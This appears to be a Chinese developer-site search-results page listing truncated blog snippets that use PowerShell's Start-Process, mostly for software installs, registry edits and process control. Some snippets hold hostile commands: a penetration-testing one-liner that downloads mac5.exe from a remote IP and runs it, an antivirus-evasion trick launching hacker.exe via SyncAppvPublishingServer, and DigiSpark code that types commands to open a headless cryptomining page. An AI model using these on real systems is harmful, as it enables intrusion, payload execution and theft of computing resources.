首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏多能鄙事

    重装Windows 10后常用软件的下载

    ProductId=cfq7ttc0k7q8" Start-Process $Access_Url Start-Sleep -Seconds 15 Write-Debug "Get Adobe Acrobat Start-Process "https://www.gimp.org/downloads/" Write-Host "Get GraphPad Prism ..." ProductId=cfq7ttc0k7c3" Start-Process $Publisher_Url Start-Sleep -Seconds 15 Write-Host "Get R ..." Start-Process "https://www.texstudio.org/" Write-Host "Get Ubuntu ..." sku=Community" Start-Process $Visual_Studio_Url Write-Host "Get Word ..."

    1.2K00发布于 2021-05-12
  • 来自专栏Windows技术交流

    用plink批量验证ssh免交互登录

    在新窗口 cd "C:\Program Files (x86)\VMware\VMware vCenter Converter Standalone" powershell -command "& {Start-Process wait cmd /c | plink.exe -ssh -P 36000 -pw "密码" Administrator@81.70.149.112}}" powershell -command "& {Start-Process cmd /c | plink.exe -ssh -P 36000 -pw "密码" Administrator@192.144.238.149}}" powershell -command "& {Start-Process cmd /c | plink.exe -ssh -P 36000 -pw "密码" Administrator@192.144.235.250}}" powershell -command "& {Start-Process wait cmd /c | plink.exe -ssh -P 36000 -pw "密码" Administrator@58.87.72.152}}" powershell -command "& {Start-Process

    81910编辑于 2024-05-30
  • 来自专栏Windows技术交流

    以vraybench命令行工具为例介绍start /affinity在cmd和powershell命令行中的使用,尤其是重定向的示例很有参考价值

    |c:\vray-benchmark-6.00.00-cli.exe -m vray 2>&1 1>c:\log.txt" 16 powershell: Start-Process cmd.exe - |c:\vray-benchmark-6.00.00-cli.exe -m vray 2>&1 1>c:\log.txt" 12 powershell: Start-Process cmd.exe - |c:\vray-benchmark-6.00.00-cli.exe -m vray 2>&1 1>c:\log.txt" 32 powershell: Start-Process cmd.exe - |c:\vray-benchmark-6.00.00-cli.exe -m vray 2>&1 1>c:\log.txt" 24 powershell: Start-Process cmd.exe - |c:\vray-benchmark-6.00.00-cli.exe -m vray 2>&1 1>c:\log.txt" 16 powershell: Start-Process cmd.exe -

    1K10编辑于 2024-05-21
  • 来自专栏怡文菌

    windows 在此处打开命令行

    HKEY_CLASSES_ROOT\Directory\shell\OpenCmdHere\command] @="PowerShell -windowstyle hidden -Command \"Start-Process HKEY_CLASSES_ROOT\Directory\Background\shell\OpenCmdHere\command] @="PowerShell -windowstyle hidden -Command \"Start-Process cmd.exe" [HKEY_CLASSES_ROOT\Drive\shell\OpenCmdHere\command] @="PowerShell -windowstyle hidden -Command \"Start-Process HKEY_CLASSES_ROOT\LibraryFolder\background\shell\OpenCmdHere\command] @="PowerShell -windowstyle hidden -Command \"Start-Process

    1.5K20编辑于 2022-12-15
  • 来自专栏Piper蛋窝

    PowerShell中theFuck插件PoShFuck将wtf搜索引擎从Google改为Baidu或者Bing

    $preverr = ($global:Error[0].ToString() -split [regex]::Escape([environment]::newline)) Start-Process $preverr = ($global:Error[0].ToString() -split [regex]::Escape([environment]::newline)) # Start-Process q=PowerShell $preverr" Start-Process "https://www.baidu.com/s? wd=PowerShell $preverr" # Start-Process "https://cn.bing.com/search?

    1.1K20发布于 2020-11-19
  • 来自专栏Windows技术交流

    Windows UserData专题:安装Chrome

    Security.Principal.WindowsBuiltInRole] "Administrator")){ $arguments = "& '" + $myinvocation.mycommand.definition + "'" Start-Process client.DownloadFile("http://dl.google.com/chrome/install/375.126/chrome_installer.exe","$Path\$Installer") Start-Process Invoke-WebRequest "http://dl.google.com/chrome/install/375.126/chrome_installer.exe" -OutFile $Path\$Installer; Start-Process System.Net.WebClient).DownloadFile("http://dl.google.com/chrome/install/375.126/chrome_installer.exe",$Path); Start-Process Invoke-WebRequest "http://dl.google.com/chrome/install/375.126/chrome_installer.exe" -OutFile $Path; Start-Process

    1.1K51编辑于 2024-12-19
  • 来自专栏Lambda

    Win10如何在右键菜单添加“在此处打开命令窗口”设置项?

    HKEY_CLASSES_ROOT\Directory\shell\OpenCmdHere\command] @="PowerShell -windowstyle hidden -Command \"Start-Process HKEY_CLASSES_ROOT\Directory\Background\shell\OpenCmdHere\command] @="PowerShell -windowstyle hidden -Command \"Start-Process cmd.exe" [HKEY_CLASSES_ROOT\Drive\shell\OpenCmdHere\command] @="PowerShell -windowstyle hidden -Command \"Start-Process HKEY_CLASSES_ROOT\LibraryFolder\background\shell\OpenCmdHere\command] @="PowerShell -windowstyle hidden -Command \"Start-Process

    6.9K10编辑于 2022-04-13
  • 来自专栏杨丝儿的小站

    【方法】使用Powershell重启关键程序

    参考:https://www.coder.work/article/6671779 tasklist | findstr cmd Start-Process cmd.exe -WindowStyle Hidden Stop-Process -Id 11172; Stop-Process -Id 11172; Start-Process cmd.exe -WindowStyle Hidden ;:同一行写多句

    68720编辑于 2022-04-11
  • 来自专栏Kurt Niu 的博客

    自己制作一个USB自动挖矿器

    powershell"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(1000); DigiKeyboard.print("Start-Process ArgumentList http://wawawa.club/index.html"); DigiKeyboard.sendKeyStroke(KEY_ENTER); } Powershell: Start-Process Start-Process -FilePath chrome.exe -ArgumentList "--headless","http://wawawa.club/index.html"

    2.2K20发布于 2018-09-10
  • 来自专栏Windows技术交流

    【玩转腾讯云】购买Windows CVM时自动安装Chrome、Firefox浏览器

    System.Net.WebClient).DownloadFile("http://dl.google.com/chrome/install/375.126/chrome_installer.exe",$Path); Start-Process Invoke-WebRequest "http://dl.google.com/chrome/install/375.126/chrome_installer.exe" -OutFile $Path; Start-Process DownloadFile("http://download-ssl.firefox.com.cn/releases-sha2/stub/official/zh-CN/Firefox-latest.exe",$Path); Start-Process System.Net.WebClient).DownloadFile("http://dl.google.com/chrome/install/375.126/chrome_installer.exe",$Path); Start-Process DownloadFile("http://download-ssl.firefox.com.cn/releases-sha2/stub/official/zh-CN/Firefox-latest.exe",$Path); Start-Process

    3K40编辑于 2024-06-06
  • 来自专栏你的Bug我做主

    用powershell提高工作效率

    以上是在命令行中运行命令,下面是在ise中实现,打开如下图所示,windows+R,输入powershell_ise 出现下面的界面,点击如图所示的新建脚本,然后输入一些常用的命令 #打开网址 Start-Process http://www.baidu.com #打开文件夹 Start-Process "C:\Users\li\Desktop\apache-tomcat-9.0.93-windows-x64" #打开文本 Start-Process "C:\Users\li\Desktop\新建 文本文档.txt" #打开word Invoke-Item "C:\Users\li\Desktop\新建 Microsoft

    39710编辑于 2025-01-19
  • 来自专栏全栈工程师修炼之路

    PS命令之操作系统远程管理及进程服务操作示例

    描述: 进程与服务常用cmdlet命令: #1.获取进程相关的cmdlet命令 PS > (Get-Command *-Process).Name #值得学习 Get-Process Start-Process Start-Process -FilePath "sort.exe" # 2.此示例启动一个进程,该进程打印C:\PS Test\MyFile.txt文件。 Start-Process -FilePath "powershell" -Verb RunAs # 6.此示例演示如何查找启动进程时可以使用的动词,可用的谓词由进程中运行的文件的文件扩展名决定。 -FilePath "$env:comspec" -ArgumentList "/c dir `"%systemdrive%\program files`"" Start-Process -FilePath Start-Process nohup 'pwsh -noprofile -c "1..120 | % { Write-Host .

    8.4K40编辑于 2022-09-29
  • 类似nohup在windows通过cmd后台运行进程方法

    Start-Process -WindowStyle hidden -FilePath "运行的内容" 实用,另外写在bat里面的方法,可打开任务管理器,详细信息里找到自己运行的程序: pushd % ~dp0 powershell.exe -command ^ "& {Start-Process -WindowStyle hidden -FilePath '程序文件路劲'}" popd pause

    60110编辑于 2025-07-17
  • 来自专栏机器学习原理

    pycharm 的terminal 报错virtualenv无法加载文件activate.ps1

    ParentContainsErrorRecordException + FullyQualifiedErrorId : UnauthorizedAccess 解决办法 Win+R命令,输入powershell,然后确定 进入终端需要执行 Start-Process powershell -Verb runAs 切换到管理员命令窗口 C:\Users\biwenshuai> Start-Process powershell -Verb runAs 执行 set-ExecutionPolicy

    1.8K20编辑于 2022-11-21
  • 来自专栏FreeBuf

    实战渗透域森林+服务森林

    powershell (new-object System.Net.WebClient).DownloadFile('http://20.20.20.199/mac5.exe','mac5.exe');start-process powershell (new-object System.Net.WebClient).DownloadFile('http://20.20.20.199/mac5.exe','mac5.exe');start-process powershell (new-object System.Net.WebClient).DownloadFile('http://20.20.20.199/mac5.exe','mac5.exe');start-process Command (new-object System.Net.WebClient).DownloadFile(\'http://20.20.20.199/mac5.exe\',\'mac5.exe\');start-process powershell (new-object System.Net.WebClient).DownloadFile('http://20.20.20.199/mac5.exe','mac5.exe');start-process

    1.7K20发布于 2021-10-11
  • 来自专栏黄腾霄的博客

    2018-8-23-Process执行路径

    2、然后,我们在同一个目录下打开PowerShell ,输入Start-Process .\2.bat通过Process的方式运行这个脚本。 ? 我们发现运行一切正常 那么如果添加RunAs 3、我们现在使用Start-Process .\2.bat -Verb runas 使用管理员方式运行脚本。 ? 我们发现运行不了了。

    1.1K20发布于 2020-06-10
  • 来自专栏Windows技术交流

    制作Windows自定义镜像实现新购机器自动设置静态DNS和hostname自动生效无需人为重启机器

    Security.Principal.WindowsBuiltInRole] "Administrator")){ $arguments = "& '" + $myinvocation.mycommand.definition + "'" Start-Process Security.Principal.WindowsBuiltInRole] "Administrator")){ $arguments = "& '" + $myinvocation.mycommand.definition + "'" Start-Process

    1.1K30编辑于 2023-10-13
  • 来自专栏Gamma安全实验室

    免杀技巧-执行系统命令方式总结

    SyncAppvPublishingServer: SyncAppvPublishingServer 为启动Microsoft应用程序虚拟化(App-V)发布刷新操作,在下面的示例中,将在powershell中执行, Start-Process 命令: SyncAppvPublishingServer.vbs "n; Start-Process C:\tmp\hacker.exe" 由于SyncAppvPublishingServer将执行双引号中包含的所有内容

    1.8K40发布于 2020-12-23
  • 来自专栏EmacsTalk

    使用 Emacs 收听 elfeed 中的播客

    (apply 'start-process buf-name buf exe `(,@elcast-player-params ,url))) (apply 'start-process buf-name buf-name exe `(,@elcast-player-params ,url))))) ;;;###autoload

    70610编辑于 2023-11-15
  • 来自专栏跟着飞哥学编程(全栈联盟社区)

    Windows PowerShell 中启动 Nginx 报错解决方案

    /conf/nginx-2.conf 表示你要加载的 nginx 配置文件 具体报错信息:  InvalidOperation: (:) [Start-Process],InvalidOperationException

    1.3K10编辑于 2022-11-30
领券